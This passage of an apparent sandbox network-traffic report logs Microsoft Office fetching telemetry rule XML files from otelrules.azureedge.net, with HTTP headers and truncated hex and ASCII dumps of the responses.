2024-10-30 10:45:37 UTC	16384	IN	Data Raw: 94 22 1e 7d b0 6a 95 14 85 b6 9f 56 47 3e e9 1b d3 5f a5 ac 50 c3 87 e4 2f 7d 48 49 98 d9 64 0e 08 ef 71 ff 50 b9 f3 86 37 4a 22 88 52 55 4a 91 92 53 0e 3c c2 3f 65 33 a3 28 fd 5a 9a 2e 91 76 ec f5 34 94 dc 1a 84 a2 be c1 0e 7a 8b 67 39 3e 58 c7 23 2c 7e 30 2a a9 04 8f 00 e5 ea b9 90 8e 19 22 31 4f 88 ac 1a 1f 76 bd 44 ab b4 23 ff 6a 0e 16 d3 4b 19 b1 5f 46 1a 8c 28 02 0b 82 4d 75 9f bc a7 ab d3 c0 ac 12 2c 1a e1 ca 61 62 a5 73 bf 90 ea 26 30 cc b6 60 ae a5 03 4b 60 ea 7c b9 bf 27 e4 0d 14 35 5a 3a 2d d3 09 b2 1d da a4 23 ee 1b c6 42 eb 6f 46 58 98 31 2d 33 81 d2 c7 b9 ea 4a e4 45 53 f8 1b 85 d6 9a f9 1c dd e5 4a cf 08 96 59 af e8 ce 28 b3 02 0e 0d ee 14 62 4a 58 2a 40 44 d3 12 5b 39 93 33 26 50 17 82 cc e2 88 1a 71 ab dd fe 3c 12 6a 79 40 5e 32 8d a6 25 Data Ascii: "}jVG>_P/}HIdqP7J"RUJS<?e3(Z.v4zg9>X#,~0"1OvD#jK_F(Mu,abs&0`K`\|'5Z:-#BoFX1-3JESJY(bJX@D[93&Pq<jy@^2%

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.6	49902	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:36 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:36 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:36 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: fcac5f09-801e-007b-3f67-28e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104536Z-17fbfdc98bb9cv5m0pampz446s000000078g000000005w9g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 10:45:36 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.6	49901	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:36 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:36 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:36 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 92d64d37-101e-0034-119c-2796ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104536Z-17fbfdc98bb8mkvjfkt54wa53800000005zg000000000eye x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 10:45:36 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.6	49903	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:36 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:36 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:36 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 903d1aff-701e-0050-019c-276767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104536Z-r1755647c66hlhp26bqv22ant40000000830000000003ded x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 10:45:36 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.6	49905	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:36 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:36 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:36 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 2f6e7a45-901e-0083-466a-26bb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104536Z-17fbfdc98bbngfjxtncsq24exs00000009rg000000000xsm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 10:45:36 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.6	49904	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:36 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:36 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:36 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: f3221442-501e-0047-6467-28ce6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104536Z-17fbfdc98bb6vp4m3kc0kte9cs00000008ng000000004fpy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 10:45:36 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.6	49906	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:37 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:37 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:37 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: c91d50fe-d01e-0049-5267-28e7dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104537Z-r1755647c66ljccje5cnds62nc00000006n0000000004p08 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 10:45:37 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.6	49908	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:37 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:37 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:37 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: 2a07df1e-d01e-0049-69a3-26e7dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104537Z-r1755647c664nptf1txg2psens00000006t00000000033uk x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 10:45:37 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.6	49907	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:37 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:37 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:37 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: 8ce6a12a-601e-005c-62fe-26f06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104537Z-r1755647c664nptf1txg2psens00000006s0000000004b7z x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 10:45:37 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.6	49909	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:37 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:37 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:37 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 44c445c3-601e-003e-0f9c-273248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104537Z-r1755647c666s72wx0z5rz6s6000000008w0000000005dx8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 10:45:37 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.6	49910	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:37 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:37 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:37 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: 43b0bec6-701e-0050-4289-286767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104537Z-17fbfdc98bbbnx4ldgze4de5zs00000006k00000000022b7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 10:45:37 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.6	49911	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:38 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:38 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:38 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: f459058d-801e-0015-12e0-25f97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104538Z-r1755647c66ljccje5cnds62nc00000006p0000000003mf4 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 10:45:38 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 